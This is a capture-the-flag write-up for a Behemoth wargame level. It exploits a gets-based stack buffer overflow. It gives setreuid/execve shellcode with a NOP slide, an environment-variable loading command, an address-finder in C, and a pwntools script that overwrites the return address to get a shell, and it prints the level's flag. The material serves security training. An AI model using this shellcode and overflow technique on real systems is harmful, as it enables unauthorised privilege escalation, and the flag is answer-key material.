← Back
behemoth2 | Avishai’s CTF Writeups

Avishai's CTF Writeups

Yalla Balagan! A collection of my CTF writeups and solutions.

View on GitHub

first we can see the challenge is based on buffer overflow, because the binary uses get.

let’s use our script to find what is the position of the ret-address… we’ve found it’s 71. then, we will generate shellcode.

import sys

NOP_SLIDE = 50

print = lambda *args, **kwargs: None # override print function


# setreuid(geteuid(), geteuid())
# execv("/bin//sh", argv)

# Shellcode in Python
shellcode = (
    b"\x6a\x31"  # push 0x31 (49)
    b"\x58"      # pop eax
    b"\xcd\x80"  # int 0x80 (geteuid())

    b"\x89\xc3"  # mov ebx, eax (uid)
    b"\x89\xd9"  # mov ecx, ebx
    b"\x6a\x46"  # push 0x46 (70)
    b"\x58"      # pop eax
    b"\xcd\x80"  # int 0x80, setreuid(geteuid(), geteuid())

    b"\x31\xd2"  # xor edx, edx
    b"\x52"      # push edx, which is \0
    b"\x68\x2f\x2f\x73\x68"  # push "//sh"
    b"\x68\x2f\x62\x69\x6e"  # push "/bin"
    b"\x89\xe3"  # mov ebx, esp (now ebx contains: "/bin//sh",\x00)

    b"\x52"      # push edx (push NULL into stack)
    b"\x53"      # push ebx (push pathname)
    b"\x89\xe1"  # mov ecx, esp (ecx is argv)

    b"\xb0\x0b"  # mov al, 0x0b (11)
    b"\xcd\x80"  # int 0x80 (execv("/bin//sh", argv))

        # mv eax, 1         ; system call number (sys_exit)
    b"\x6a\x01"  # push 1
    b"\x58"      # pop eax (sys_exit)
    # int 0x80
    b"\xcd\x80"  # int 0x80 (exit())
)

# Print shellcode details
print("Shellcode code is:")
print("setreuid(geteuid(), geteuid())")
print("execv(\"/bin//sh\", argv)")

# Print shellcode with NOP slide
print("\nShellcode as formatted string:")

# Add NOP slide (\x90) before shellcode
nop_slide = b"\x90" * NOP_SLIDE
formatted_shellcode = nop_slide + shellcode

# Convert to formatted string
formatted_string = "".join(f"\\x{byte:02x}" for byte in formatted_shellcode)
print(formatted_string)

# Print shellcode in hex format
print("\nShellcode in hex format:")
print("".join(f"{byte:02x}" for byte in formatted_shellcode))

# Calculate shellcode length
print(f"\nLength of shellcode is {len(formatted_shellcode)} bytes")

sys.stdout.buffer.write(formatted_shellcode)

now we will load the shellcode into env variable:

export SHELLCODE=$(echo -e "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x6a\x31\x58\xcd\x80\x89\xc3\x89\xd9\x6a\x46\x58\xcd\x80\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80")

we need to find the address of the env variable.

#include<stdio.h>
#include<stdlib.h>

int main(int argc, char* argv[])
{
    if(argc < 2){
        printf("Usage: num of variable is %d, less than expected\n",argc);
        return 1;
    }
    printf("name of var is: %s\n", argv[1]); 
    printf("address is %p\n", (void*)getenv(argv[1]));
        return 0;
}

// this code can be used to get address of env_var, by this way you can override the ret-address

notice to compile it with the -m32 flag, for example: gcc -m32 get_address.c -o get_address

after finding the address of the env variable, in our case: 0xffffd511, we need to insert it to the script that solves the challenge.

from pwn import *

PATH = '/behemoth/behemoth1'

print(cyclic(1000))  # Generate a 100-byte cyclic pattern

# crash_addr = 0x66616168
# print(cyclic_find(crash_addr))
# find after how many bytes the ret-address is found, in this case, 71.
ret_addr_pos = 71
ret_addr = 0xffffd511

payload = ret_addr_pos * b'a'
payload += p32(ret_addr)

p = process(PATH)
p.sendline(payload)
p.interactive()

p.close()


Flag: IxPJbQtH8q